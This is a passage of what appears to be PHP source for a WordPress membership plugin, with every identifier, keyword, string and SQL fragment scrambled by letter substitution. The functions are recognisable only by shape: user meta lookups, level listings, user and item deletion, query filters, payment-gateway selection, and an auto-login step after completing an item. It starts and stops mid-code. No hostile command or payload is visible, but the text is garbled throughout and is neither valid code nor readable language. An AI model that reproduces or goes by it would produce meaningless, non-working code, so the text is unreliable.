QTPMGUQplrmU.BnD_npu(nmoxqnuFnyBn(SuBkBu5Bh)).QplrmUQTPMGUQplrmU)U } oBmlos SoBmlosU } qlEuxD AlsDmxrs lnBo$BFoDy(SvBh, SkFulB) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU SlnBo7c = SjqCE-QzmUzBm_kFo(QplrmU$b4bd# lnBo_xC a 13 QplrmU.Smyxn-QzmUlnBo$Bmmxszn#FEuB.QplrmU ?8b b lnBo_vBh = QTPMGUQplrmU.BnD_npu(SvBh).QplrmUQTPMGU f2c lnBo_kFulB = QTPMGUQplrmU.BnD_npu(SkFulB).QplrmUQTPMGU 4737# OQplrmU)U xA (SlnBo7c QFtqUQFtqU xn_sltBoxD(SlnBo7c)) { oBmlos zBm_lnBo_Eh(QTPMGU7cQTPMGU, SlnBo7c)U } oBmlos sluuU } qlEuxD AlsDmxrs lnBo$Bmmxsz() { zurEFu SjqCEU zurEFu StBtEBozBsxlnU Suxnm = sluuU SkFulB = sluuU SFozn = AlsD_zBm_Fozn()U SlnBo7c = PU SlnBo5Bh = QplrmUQplrmUU SlnBo!FulB = QplrmUQplrmUU xA (Drlsm(SFozn) QzmU= M) { @uxnm(SlnBo7c, SlnBo5Bh, SlnBo!FulB) = SFoznU } BunBxA (Drlsm(SFozn) == N) { @uxnm(SlnBo7c, SlnBo5Bh) = SFoznU } BunBxA (Drlsm(SFozn) == O) { @uxnm(SlnBo7c) = SFoznU } xA (Vxn_FooFh(SFozn) || Drlsm(SFozn) == P) { oBmlosU } SoBmlos = sluuU xA (Drlsm(SFozn) == N) { SoBmlos = SjqCE-QzmUzBm_kFo(QplrmU$b4bd# lnBo_kFulB a 13 QplrmU.Smyxn-QzmUlnBo$Bmmxszn#FEuB .QplrmU ?8b b lnBo_xC = QplrmU.xsmkFu(SlnBo7c). QplrmU f2c lnBo_vBh = QTPMGUQplrmU.BnD_npu(SlnBo5Bh).QplrmUQTPMGUQplrmU)U xA (nmoqrn(SoBmlos, QTPMGU{QTPMGU) V== AFunB) { StFhEB;snBoxFuxgB = @lsnBoxFuxgB(SoBmlos)U } BunB { StFhEB;snBoxFuxgB = SoBmlosU } oBmlos StFhEB;snBoxFuxgBU } BunBxA (Drlsm(SFozn) == N QFtqUQFtqU SlnBo!FulB === sluu) { 3BtEBo9Bsxln::DuBFodFDyB()U SjqCE-QzmUplBoh(QplrmUcb4b#b a 13 QplrmU.Smyxn-QzmUlnBo$Bmmxszn#FEuB.QplrmU ?8b b lnBo_xC = QplrmU.xsmkFu(SlnBo7c).QplrmU f2c lnBo_vBh = QTPMGUQplrmU.BnD_npu(SlnBo5Bh).QplrmUQTPMGUQplrmU)U } BunB { 3BtEBo9Bsxln::DuBFodFDyB()U xA (xn_FooFh(SlnBo!FulB) || xn_rEwBDm(SlnBo!FulB)) { SlnBo!FulB = nBoxFuxgB(SlnBo!FulB)U } SjqCE-QzmUplBoh(QplrmU72$b # 7921 b 72#1 QplrmU.Smyxn-QzmUlnBo$Bmmxszn#FEuB.QplrmU $b# lnBo_xC = QplrmU.xsmkFu(SlnBo7c).QplrmU, lnBo_vBh = QTPMGUQplrmU.BnD_npu(SlnBo5Bh).QplrmUQTPMGU, lnBo_kFulB=QTPMGUQplrmU.BnD_npu(nmoxqnuFnyBn(SlnBo!FulB)).QplrmUQTPMGUQplrmU)U SjqCE-QzmUplBoh(QplrmU;0cf#b 7921 b QplrmU.Smyxn-QzmUlnBo$Bmmxszn#FEuB.QplrmU $b# lnBo_xC=QplrmU.xsmkFu(SlnBo7c).QplrmU, lnBo_kFulB = QTPMGUQplrmU.BnD_npu(SlnBo!FulB).QplrmUQTPMGU ?8b b lnBo_vBh = QTPMGUQplrmU.BnD_npu(nmoxqnuFnyBn(SlnBo5Bh)).QplrmUQTPMGUQplrmU)U } oBmlos SoBmlosU } AlsDmxrs rscBuBmB;nBo(SlnBo7c) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU 3BtEBo9Bsxln::DuBFodFDyB()U SlnBo = xsmkFu(SlnBo7c)U SjqCE-QzmUplBoh(QplrmUcb4b#b a 13 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU ?8b b lnBo_xC = SlnBoQplrmU)U SjqCE-QzmUplBoh(QplrmUcb4b#b a 13 QplrmU.Smyxn-QzmUlnBo$Bmmxszn#FEuB.QplrmU ?8b b lnBo_xC = SlnBoQplrmU)U } AlsDmxrs rscBuBmB0rnm(Sqrnm7c) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU 3BtEBo9Bsxln::DuBFodFDyB()U Sqrnm = xsmkFu(Sqrnm7c)U SjqCE-QzmUplBoh(QplrmUcb4b#b a 13 QplrmU.Smyxn-QzmUDrsmBsm#FEuB.QplrmU ?8b b qrnm_xC = SqrnmQplrmU)U } AlsDmxrs zBm4BkBun(SlnBo=sluu) { zurEFu SjqCEU SuBkBun = FooFh()U SuBkBu&lBoh = SjqCE-QzmUzBm_oBnlumn( QplrmU$b4bd# QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU.*, d1;2#(lO.7c) Fn FDmxkB, QTPMGUPQTPMGU Fn DFsDBuBC a 13 QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmUY 4ba# 6172 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU lO 12 (QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU.7c = lO.uBkBu_xC f2c lO.uBkBu_nmFmln = QTPMGUfQTPMGU)Y 9 1;0 eh QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU.7c 1 cb eh uBkBu_sFtBQplrmU )U AroBFDy (SuBkBu&lBoh Fn SuBkBu5Bh =QzmU Su) { SxC = Su-QzmU7cU SuBkBun[SxC] = SuU lsnBm(SuBkBu&lBoh[SuBkBu5Bh])U } SDFsDBu&lBoh = SjqCE-QzmUzBm_oBnlumn(QplrmU$b4bd# d1;2#(7c) f$ mrmFu, uBkBu_xC a 13 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU ?8b b uBkBu_nmFmln = QTPMGUdQTPMGU 9 1;0 eh uBkBu_xCQplrmU)U SDFsDBuBC = FooFh()U AroBFDy (SDFsDBu&lBoh Fn SD) { SD7C = SD-QzmUuBkBu_xCU xA (VxnnBm(SuBkBun[SD7C])) { DrsmxslBU } SuBkBun[SD7C]-QzmUDFsDBuBC = SD-QzmUmrmFuU } SnBmmxszn&lBoh = SjqCE-QzmUzBm_oBnlumn(QplrmU$b4bd# uBkBu_vBh, uBkBu_kFulB a 13 QplrmU.Smyxn-QzmUuBkBu$Bmmxszn#FEuB)U xA (SuBkBun QFtqUQFtqU xn_FooFh(SuBkBun) QFtqUQFtqU Drlsm(SuBkBun) QzmU P) { lFnrom(SuBkBun, FooFh(QFtqUSmyxn, QplrmUuBkBu$romQplrmU))U oBmlos SuBkBunU } oBmlos FooFh()U } AlsDmxrs uBkBu$rom(SF, SE) { oBmlos nmosFmDtq(SF-QzmUuBkBu_sFtB, SE-QzmUuBkBu_sFtB)U } AlsDmxrs zBm4BkBu(SuBkBu7c) { zurEFu SjqCEU SuBkBu = xsmkFu(SuBkBu7c)U oBmlos SjqCE-QzmUzBm_orj(QplrmU$b4bd# * a 13 QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU ?8b b 7c = SuBkBuQplrmU)U } AlsDmxrs zBm0FhtBsmaort8Fny(SyFny) { zurEFu SjqCEU SyFny = qoBz_oBquFDB(QTPMGU@[^F-gP-G]@nxQTPMGU, QTPMGUQTPMGU, SyFny)U xA (Btqmh(SyFny)) { oBmlosU } xA (SyFny == Smyxn-QzmUnBmmxsz(QplrmUqFhqFu_nBDoBmQplrmU)) { oBmlos sBj 3BtEBo9BsxlndFom0Fh0Fu()U } BunBxA (SyFny == Smyxn-QzmUnBmmxsz(QplrmUwkg_nBDoBmQplrmU)) { oBmlos sBj 3BtEBo9BsxlndFom6!<()U } BunBxA (SyFny == Smyxn-QzmUnBmmxsz(QplrmUDuxDvEFsv_nBDoBmQplrmU)) { oBmlos sBj 3BtEBo9BsxlndFomduxDvEFsv()U } BunBxA (SyFny == Smyxn-QzmUnBmmxsz(QplrmUjFooxroquln_nBDoBmQplrmU)) { oBmlos sBj 3BtEBo9BsxlndFom?Fooxro()U } BunBxA (SyFny == Smyxn-QzmUnBmmxsz(QplrmUmyoxkBDFom_nBDoBmQplrmU)) { oBmlos sBj 3BtEBo9BsxlndFom#yoxkB()U } } AlsDmxrs zBm4BkBuaort8Fny(SyFny) { zurEFu SjqCEU SyFny = qoBz_oBquFDB(QTPMGU@[^F-gP-G]@nxQTPMGU, QTPMGUQTPMGU, SyFny)U oBmlos SjqCE-QzmUzBm_orj(QplrmU$b4bd# * a 13 QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU ?8b b uBkBu_yFny = QTPMGUQplrmU.BnD_npu(SyFny).QplrmUQTPMGUQplrmU)U } AlsDmxrs qoB;nBo&lBoh(Sp) { zurEFu SjqCEU SDlnmrt = AFunBU xA (xnnBm(Sp-QzmUplBoh_kFon[QplrmUtBtEBozBsxlnQplrmU]) QFtqUQFtqU Sp-QzmUplBoh_kFon[QplrmUtBtEBozBsxlnQplrmU] == QplrmUOQplrmU) { SDlnmrt = molBU } xA (xnnBm(Sp-QzmUplBoh_kFon[QplrmUroCBoEhQplrmU]) QFtqUQFtqU Sp-QzmUplBoh_kFon[QplrmUroCBoEhQplrmU] == QplrmUuFnmurzxsQplrmU) { SroCBofCCxmxrs = Smyxn-QzmUlnBo$Bmmxszn#FEuB.QplrmU.lnBo_kFulB cb$dQplrmUU Sp-QzmUplBoh_roCBoEh = QplrmU1 cb eQplrmU.Dyo(HG). QplrmU QplrmU .SroCBofCCxmxrsU } xA (xnnBm(Sp-QzmUplBoh_kFon[QplrmUDorsQplrmU])) { SDlnmrt = molBU SDors_mxtBnmFtq = @xsmkFu(Sp-QzmUplBoh_kFon[QplrmUDorsQplrmU])U xA (SDors_mxtBnmFtq QumU= O) { SDors_mxtBnmFtq = mxtB()U } SDors_CBFCuxsB = SDors_mxtBnmFtq-HJLPP+OHPPU Sp-QzmUplBoh_AxBuCn .= QplrmU, lnBo_kFulBQplrmUU Sp-QzmUplBoh_jyBoB = QplrmU4ba# 6172 QplrmU.Smyxn-QzmUlnBo$Bmmxszn#FEuB.QplrmU 12 (QplrmU.SjqCE-QzmUlnBon.QplrmU.7c = QplrmU.Smyxn-QzmUlnBo$Bmmxszn#FEuB.QplrmU.lnBo_xC f2c lnBo_vBh = QTPMGUDors4FnmQTPMGU) QplrmU . Sp-QzmUplBoh_jyBoB . QplrmU f2c (lnBo_kFulB 7$ 2;44 1 lnBo_kFulB QumU QplrmU.SDors_CBFCuxsB.QplrmU)QplrmUU } xA (xnnBm(Sp-QzmUplBoh_kFon[QplrmUroCBoEhQplrmU]) QFtqUQFtqU Sp-QzmUplBoh_kFon[QplrmUroCBoEhQplrmU] == QplrmUuFnmurzxsQplrmU) { SDlnmrt = molBU Sp-QzmUplBoh_jyBoB = QplrmU722b 6172 QplrmU.Smyxn-QzmUlnBo$Bmmxszn#FEuB.QplrmU 12 (QplrmU.SjqCE-QzmUlnBon.QplrmU.7c = QplrmU.Smyxn-QzmUlnBo$Bmmxszn#FEuB.QplrmU.lnBo_xC f2c lnBo_vBh=QTPMGUurzxs4Fnm#xtBQTPMGU) QplrmU. Sp-QzmUplBoh_jyBoBU Sp-QzmUplBoh_AxBuCn .= QplrmU, lnBo_kFulB QplrmUU } xA (xnnBm(Sp-QzmUplBoh_kFon[QplrmUnQplrmU]) QFtqUQFtqU VBtqmh(Sp-QzmUplBoh_kFon[QplrmUnQplrmU])) { SDlnmrt = molBU xA (xnnBm(Sp-QzmUplBoh_kFon[QplrmUuBkBu_nmFmlnQplrmU])) { lsnBm(Sp-QzmUplBoh_kFon[QplrmUuBkBu_nmFmlnQplrmU])U } xA (xnnBm(Sp-QzmUplBoh_kFon[QplrmUuBkBuQplrmU])) { lsnBm(Sp-QzmUplBoh_kFon[QplrmUuBkBuQplrmU])U } xA (xnnBm(Sp-QzmUplBoh_kFon[QplrmUuBkBunQplrmU])) { lsnBm(Sp-QzmUplBoh_kFon[QplrmUuBkBunQplrmU])U } Sp-QzmUplBoh_jyBoB = QplrmU4ba# 6172 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU 12 (QplrmU.SjqCE-QzmUlnBon.QplrmU.7c = QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU.lnBo_xC f2c tBmF_vBh 72 (QTPMGUAxonm_sFtBQTPMGU, QTPMGUuFnm_sFtBQTPMGU)) QplrmU . Sp-QzmUplBoh_jyBoBU Sp-QzmUplBoh_jyBoB = QplrmU4ba# 6172 QplrmU.SjqCE-QzmUlnBotBmF.QplrmU 12 (7c = QplrmU.SjqCE-QzmUlnBotBmF.QplrmU.lnBo_xC) QplrmU. Sp-QzmUplBoh_jyBoBU xA (nmoqrn(Sp-QzmUplBoh_kFon[QplrmUnQplrmU], QTPMGU,QTPMGU)) { Sp-QzmUplBoh_jyBoB .= QTPMGU f2c (QTPMGUU SjyBoBn = FooFh()U AroBFDy (BiqurCB(QplrmU,QplrmU, Sp-QzmUplBoh_kFon[QplrmUnQplrmU]) Fn SnBFoDy) { SjyBoBn[] = QplrmU(lnBo_urzxs 475b QTPMGU%QplrmU.BnD_npu(SnBFoDy).QplrmU%QTPMGU 1 lnBo_sxDBsFtB 475b QTPMGU%QplrmU.BnD_npu(SnBFoDy).QplrmU%QTPMGU 1 lnBo_BtFxu 475b QTPMGU%QplrmU.BnD_npu(SnBFoDy).QplrmU%QTPMGU 1 uBkBu_mis = QTPMGUQplrmU.BnD_npu(SnBFoDy).QplrmUQTPMGU 1 tBmF_kFulB 475b QTPMGU%QplrmU.BnD_npu(SnBFoDy).QplrmU%QTPMGU)QplrmUU } Sp-QzmUplBoh_jyBoB .= xtqurCB(QplrmU 1 QplrmU, SjyBoBn)U Sp-QzmUplBoh_jyBoB .= QTPMGU)QTPMGUU } BunB { SnBFoDy = BnD_npu(Sp-QzmUplBoh_kFon[QplrmUnQplrmU])U Sp-QzmUplBoh_jyBoB .= QTPMGU f2c (QTPMGUU Sp-QzmUplBoh_jyBoB .= QplrmUlnBo_urzxs 475b QTPMGU%QplrmU.BnD_npu(SnBFoDy).QplrmU%QTPMGU 1 lnBo_sxDBsFtB 475b QTPMGU%QplrmU.BnD_npu(SnBFoDy).QplrmU%QTPMGU 1 lnBo_BtFxu 475b QTPMGU%QplrmU.BnD_npu(SnBFoDy).QplrmU%QTPMGU 1 uBkBu_mis = QTPMGUQplrmU.BnD_npu(SnBFoDy).QplrmUQTPMGU 1 tBmF_kFulB 475b QTPMGU%QplrmU.BnD_npu(SnBFoDy).QplrmU%QTPMGUQplrmUU Sp-QzmUplBoh_jyBoB .= QTPMGU)QTPMGUU } } xA (xnnBm(Sp-QzmUplBoh_kFon[QplrmUuBkBu_nmFmlnQplrmU])) { SDlnmrt = molBU Sp-QzmUplBoh_jyBoB .= QTPMGU f2c uBkBu_nmFmln = QplrmUQTPMGU.BnD_npu(Sp-QzmUplBoh_kFon[QplrmUuBkBu_nmFmlnQplrmU]).QTPMGUQplrmUQTPMGUU } xA (xnnBm(Sp-QzmUplBoh_kFon[QplrmUuBkBunQplrmU])) { SDlnmrt = molBU Sp-QzmUplBoh_Aort .= QTPMGU, QTPMGU.Smyxn-QzmUlnBo#FEuBU Sp-QzmUplBoh_jyBoB .= QTPMGU f2c uBkBu_xC 72 (QTPMGU.BnD_npu(Sp-QzmUplBoh_kFon[QplrmUuBkBunQplrmU]).QTPMGU)QTPMGUU Sp-QzmUplBoh_jyBoB .= QplrmU f2c lnBo_xC = QplrmU.SjqCE-QzmUlnBon.QplrmU.7cQplrmUU } xA (xnnBm(Sp-QzmUplBoh_kFon[QplrmUuBkBuQplrmU])) { SDlnmrt = molBU Sp-QzmUplBoh_Aort .= QTPMGU, QTPMGU.Smyxn-QzmUlnBo#FEuBU Sp-QzmUplBoh_jyBoB .= QTPMGU f2c uBkBu_xC = QTPMGU.xsmkFu(Sp-QzmUplBoh_kFon[QplrmUuBkBuQplrmU])U Sp-QzmUplBoh_jyBoB .= QplrmU f2c lnBo_xC = QplrmU.SjqCE-QzmUlnBon.QplrmU.7cQplrmUU } xA (xnnBm(Sp-QzmUplBoh_kFon[QplrmUuBkBu_FAmBoQplrmU])) { SDlnmrt = molBU Sp-QzmUplBoh_jyBoB .= QTPMGU f2c uBkBu_CFmB QzmU= a 13_;27>#73b(QTPMGU.xsmkFu(Sp-QzmUplBoh_kFon[QplrmUuBkBu_FAmBoQplrmU]).QTPMGU)QTPMGUU } xA (xnnBm(Sp-QzmUplBoh_kFon[QplrmUuBkBu_EBAroBQplrmU])) { SDlnmrt = molBU Sp-QzmUplBoh_jyBoB .= QTPMGU f2c uBkBu_CFmB QumU= a 13_;27>#73b(QTPMGU.xsmkFu(Sp-QzmUplBoh_kFon[QplrmUuBkBu_EBAroBQplrmU]).QTPMGU)QTPMGUU } xA (SDlnmrt) { Sp-QzmUplBoh_AxBuCn .= QTPMGU, QTPMGU.SjqCE-QzmUlnBon.QTPMGU.7c f$ 7cQTPMGUU Sp-QzmUplBoh_roCBoEh = QTPMGU 9 1;0 eQTPMGU.Dyo(HG).QTPMGU QTPMGU.SjqCE-QzmUlnBon.QTPMGU.7c QTPMGU.Sp-QzmUplBoh_roCBoEhU } xA (DlooBsm_lnBo_DFs(QplrmUFCtxsxnmoFmroQplrmU)) { } oBmlos SpU } AlsDmxrs zBm3BtEBon(SplBoh=QplrmUQplrmU) { SFozn = jq_qFonB_Fozn(SplBoh)U SlnBon = zBm_lnBon(SFozn)U SnmFmln = FooFh()U SuBkBun = FooFh()U SnBFoDy = sluuU xA (xnnBm(SFozn[QplrmUroCBoEhQplrmU]) QFtqUQFtqU SFozn[QplrmUroCBoEhQplrmU] == QplrmUAxonm_sFtBQplrmU) { lnrom(SlnBon, FooFh(QFtqUSmyxn, QplrmUnromaxonmsFtBQplrmU))U } xA (xnnBm(SFozn[QplrmUroCBoEhQplrmU]) QFtqUQFtqU SFozn[QplrmUroCBoEhQplrmU] == QplrmUuFnm_sFtBQplrmU) { lnrom(SlnBon, FooFh(QFtqUSmyxn, QplrmUnrom4FnmsFtBQplrmU))U } xA (xnnBm(SFozn[QplrmUroCBoEhQplrmU]) QFtqUQFtqU SFozn[QplrmUroCBoEhQplrmU] == QplrmUoFsCQplrmU) { lnrom(SlnBon, FooFh(QFtqUSmyxn, QplrmUnrom FsCrtQplrmU))U } oBmlos SlnBonU } AlsDmxrs nrom FsCrt(SF, SE) { SDrxs = oFsC(P, O)U oBmlos (SDrxs == P) W -O : OU } AlsDmxrs nromaxonmsFtB(SF, SE) { oBmlos nmoDtq(SF-QzmUAxonm_sFtB, SE-QzmUAxonm_sFtB)U } AlsDmxrs nrom4FnmsFtB(SF, SE) { xA (SF-QzmUuFnm_sFtB == SE-QzmUuFnm_sFtB) { oBmlos Smyxn-QzmUnromaxonmsFtB(SF, SE)U } oBmlos nmoDtq(SF-QzmUuFnm_sFtB, SE-QzmUuFnm_sFtB)U } AlsDmxrs zBm3BtEBon$xsDB(SnxsDB#xtB=P, Snmrqfm=-O) { zurEFu SjqCEU SnxsDB = xsmkFu(SnxsDB#xtB)U xA (Snmrqfm QzmU -O) { } BunB { oBmlos SjqCE-QzmUzBm_oBnlumn(QplrmU$b4bd# uBkBu_xC, d1;2#(*) f$ mrmFu a 13 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU ?8b b uBkBu_CFmB QzmU a 13_;27>#73b(QplrmU.SnxsDB.QplrmU) 9 1;0 eh uBkBu_xCQplrmU)U } } AlsDmxrs zBm3BtEBodrlsm(SnmFmln=sluu, SAortcFmB=sluu, SmrcFmB=sluu) { zurEFu SjqCEU SjyBoB = FooFh(SjqCE-QzmUlnBon.QplrmU.7c = QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU.lnBo_xCQplrmU)U xA (SnmFmln) { SjyBoB[] = QplrmUuBkBu_nmFmln = QTPMGUQplrmU.BnD_npu(SnmFmln).QplrmUQTPMGUQplrmUU } xA (SAortcFmB) { SjyBoB[] = QplrmUuBkBu_CFmB QzmU= a 13_;27>#73b(QplrmU.xsmkFu(SAortcFmB).QplrmU)QplrmUU } xA (SmrcFmB) { SjyBoB[] = QplrmUuBkBu_CFmB QumU a 13_;27>#73b(QplrmU.xsmkFu(SmrcFmB).QplrmU)QplrmUU } xA (Drlsm(SjyBoB) QzmU P) { SjyBoB = QplrmU?8b b QplrmU . xtqurCB(QplrmU f2c QplrmU, SjyBoB)U } BunB { SjyBoB = oBnBm(SjyBoB)U } SjqCE-QzmUplBoh(QplrmU$b4bd# QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU.* a 13 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU, QplrmU.SjqCE-QzmUlnBon.QplrmU SjyBoB 9 1;0 eQplrmU.Dyo(HG).QplrmU lnBo_xC 1 cb eQplrmU.Dyo(HG).QplrmU uBkBu_CFmB f$dQplrmU)U oBmlos xsmkFu(SjqCE-QzmUslt_orjn)U } AlsDmxrs CBuBmB;nBo(SlnBo7c) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU 3BtEBo9Bsxln::DuBFodFDyB()U SDlooBsm_lnBo = jq_zBm_DlooBsm_lnBo()U SlnBo = xsmkFu(SlnBo7c)U xA (SlnBo == SDlooBsm_lnBo-QzmU7c) { oBmlosU } jq_CBuBmB_lnBo(SlnBo)U Smyxn-QzmUrscBuBmB;nBo(SlnBo)U } AlsDmxrs CBuBmB#Btq(SmBtq7c) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU 3BtEBo9Bsxln::DuBFodFDyB()U oBmlos SjqCE-QzmUplBoh(QplrmUcb4b#b a 13 QplrmU.Smyxn-QzmUmBtq#FEuB.QplrmU ?8b b xC = QplrmU.xsmkFu(SmBtq7c))U } AlsDmxrs DrtquBmB#Btq(SmBtq7c, SrkBojoxmB=FooFh()) { zurEFu StBtEBozBsxlnU xA (SmBtq = StBtEBozBsxln-QzmUtrCBu-QzmUzBm#Btqaort7c(SmBtq7c)) { StBmFCFmF = SmBtq-QzmUmBtq_tBmFCFmFU AroBFDy (SrkBojoxmB Fn SvBh=QzmUSkFulB) { StBmFCFmF[SvBh] = SkFulBU } SkFon = FooFh( QplrmUFDmxrsQplrmU =QzmU QplrmUtBtEBozBsxln_oBzxnmBoQplrmU, QplrmUtBtEBozBsxln_mBtqQplrmU =QzmU SmBtq-QzmUmis_xC, QplrmUtBtEBozBsxln_lnBosFtBQplrmU =QzmU StBmFCFmF[QplrmUlnBosFtBQplrmU], QplrmUtBtEBozBsxln_uBkBuQplrmU =QzmU xsmkFu(StBmFCFmF[QplrmUuBkBuQplrmU]), QplrmUtBtEBozBsxln_AxonmsFtBQplrmU =QzmU StBmFCFmF[QplrmUAxonmsFtBQplrmU], QplrmUtBtEBozBsxln_uFnmsFtBQplrmU =QzmU StBmFCFmF[QplrmUuFnmsFtBQplrmU], QplrmUtBtEBozBsxln_BtFxuQplrmU =QzmU StBmFCFmF[QplrmUBtFxuQplrmU], QplrmUtBtEBozBsxln_qFnnjroCOQplrmU =QzmU QplrmUQplrmU )U AroBFDy (SrkBojoxmB Fn SvBh =QzmU SkFulB) { xA (nmoqrn(SvBh, QplrmUnrDxFu_QplrmU) === P) { SkFon[SvBh] = SkFulBU } } xA (Sjq_lnBo = zBm_lnBo_Eh(QTPMGUBtFxuQTPMGU, StBmFCFmF[QplrmUBtFxuQplrmU])) { SFCC = Smyxn-QzmUFCC(Sjq_lnBo-QzmU7c, StBmFCFmF[QplrmUuBkBuQplrmU], SmBtq-QzmUmis_xC)U xA (SFCC) { StBtEBozBsxln-QzmUtrCBu-QzmUoBtrkB#Btq(SmBtq-QzmUmis_xC)U xA (Vxn_FCtxs() QFtqUQFtqU VDlooBsm_lnBo_DFs(QplrmUtFsFzB_rqmxrsnQplrmU)) { jq_nBm_Flmy_DrrvxB(Sjq_lnBo-QzmU7c)U Cr_FDmxrs(QTPMGUjq_urzxsQTPMGU, Sjq_lnBo-QzmUlnBo_urzxs, Sjq_lnBo)U S_01$#[QTPMGUurzQTPMGU] = Sjq_lnBo-QzmUlnBo_urzxsU yBFCBo(QplrmU4rDFmxrs:QplrmU.yrtB_lou())U CxB()U } } } xA (Sjq_lnBo = zBm_lnBo_Eh(QTPMGUurzxsQTPMGU, StBmFCFmF[QplrmUlnBosFtBQplrmU])) { SkFon[QplrmUtBtEBozBsxln_lnBosFtBQplrmU] = StBmFCFmF[QplrmUBtFxuQplrmU]U } oBmlos StBtEBozBsxln-QzmUFCtxs-QzmUDoBFmB(SkFon)U } BunB { oBmlos sBj ?0_booro(QplrmUsrmBtqQplrmU, QplrmU7skFuxC mBtq 7c.QplrmU)U } } AlsDmxrs lqCFmB4BkBucFmB(SlnBo7c, SuBkBu7c, SmxtBnmFtq) { zurEFu SjqCEU xA (VSlnBo7c || VSuBkBu7c) { oBmlos AFunBU } SlnBo = xsmkFu(SlnBo7c)U SuBkBu = xsmkFu(SuBkBu7c)U SsBjcFmB = @xsmkFu(nmomrmxtB(SmxtBnmFtq))U xA (SsBjcFmB QumU= O) { oBmlos AFunBU } SmyBcFmB = ztCFmB(Dyo(HG).QplrmU-t-C 8:x:nQplrmU, SsBjcFmB)U oBmlos SjqCE-QzmUplBoh(QplrmU;0cf#b QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU $b# uBkBu_CFmB = QTPMGUQplrmU.BnD_npu(SmyBcFmB).QplrmUQTPMGU ?8b b lnBo_xC = SlnBo f2c uBkBu_xC = SuBkBuQplrmU)U } AlsDmxrs lqCFmB#oFsnFDmxrs(SlnBo7c, SuBkBu7c, SsBj#oFsnFDmxrs) { zurEFu SjqCEU xA (VSlnBo7c || VSuBkBu7c) { oBmlos AFunBU } SlnBo = xsmkFu(SlnBo7c)U SuBkBu = xsmkFu(SuBkBu7c)U SsBj#oFsnFDmxrs = moxt(nmoxqnuFnyBn(SsBj#oFsnFDmxrs))U oBmlos SjqCE-QzmUplBoh(QplrmU;0cf#b QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU $b# uBkBu_mis = QTPMGUQplrmU.BnD_npu(SsBj#oFsnFDmxrs).QplrmUQTPMGU ?8b b lnBo_xC = SlnBo f2c uBkBu_xC = SuBkBuQplrmU)U } AlsDmxrs nBm$lEnDoxEBC(SlnBo7c, SuBkBu7c, SnmFmln=molB) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU xA (VSlnBo7c || VSuBkBu7c) { oBmlos AFunBU } SlnBo = xsmkFu(SlnBo7c)U SuBkBu = xsmkFu(SuBkBu7c)U SsBj$mFmln = (SnmFmln) W O : PU oBmlos SjqCE-QzmUplBoh(QplrmU;0cf#b QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU $b# uBkBu_nlEnDoxEBC = QTPMGUQplrmU.BnD_npu(SsBj$mFmln).QplrmUQTPMGU ?8b b lnBo_xC = SlnBo f2c uBkBu_xC = SuBkBuQplrmU)U } AlsDmxrs zBm#Btqaort7c(SxC) { zurEFu SjqCEU xA (VSxC) { oBmlos AFunBU } SmBtq = SjqCE-QzmUzBm_orj(QplrmU$b4bd# * a 13 QplrmU.Smyxn-QzmUmBtq#FEuB.QplrmU ?8b b 7c = QTPMGUQplrmU.xsmkFu(SxC).QplrmUQTPMGUQplrmU)U xA (xnnBm(SmBtq-QzmUmBtq_tBmFCFmF)) { xA (nmoqrn(SmBtq-QzmUmBtq_tBmFCFmF, QTPMGU{QTPMGU) V== AFunB) { SmBtq-QzmUmBtq_tBmFCFmF = lsnBoxFuxgB(SmBtq-QzmUmBtq_tBmFCFmF)U } } oBmlos SmBtqU } AlsDmxrs zBm#Btqaort#oFsnFDmxrs(SmoFsnFDmxrs) { zurEFu SjqCEU xA (VSmoFsnFDmxrs) { oBmlos AFunBU } SmBtq = SjqCE-QzmUzBm_orj(QplrmU$b4bd# * a 13 QplrmU.Smyxn-QzmUmBtq#FEuB.QplrmU ?8b b mis_xC = QTPMGUQplrmU.BnD_npu(SmoFsnFDmxrs).QplrmUQTPMGUQplrmU)U xA (xnnBm(SmBtq-QzmUmBtq_tBmFCFmF)) { xA (nmoqrn(SmBtq-QzmUmBtq_tBmFCFmF, QTPMGU{QTPMGU) V== AFunB) { SmBtq-QzmUmBtq_tBmFCFmF = lsnBoxFuxgB(SmBtq-QzmUmBtq_tBmFCFmF)U } } oBmlos SmBtqU } AlsDmxrs zBm;nBo7Caort#oFsnFDmxrs(SmoFsnFDmxrs) { zurEFu SjqCEU xA (VSmoFsnFDmxrs) { oBmlos AFunBU } SplBoh = QplrmU$b4bd# lnBo_xC a 13 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU ?8b b uBkBu_mis = QTPMGUQplrmU.BnD_npu(SmoFsnFDmxrs).QplrmUQTPMGUQplrmUU oBmlos xsmkFu(SjqCE-QzmUzBm_kFo(SplBoh))U } AlsDmxrs zBm4BkBunaort#oFsnFDmxrs(SmoFsnFDmxrs) { zurEFu SjqCEU xA (VSmoFsnFDmxrs) { oBmlos AFunBU } SplBoh = QplrmU$b4bd# uBkBu_xC a 13 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU ?8b b uBkBu_mis = QTPMGUQplrmU.BnD_npu(SmoFsnFDmxrs).QplrmUQTPMGUQplrmUU oBmlos SjqCE-QzmUzBm_Dru(SplBoh)U } AlsDmxrs zBm#Btqn() { zurEFu SjqCEU SoBnlumn = SjqCE-QzmUzBm_oBnlumn(QplrmU$b4bd# * a 13 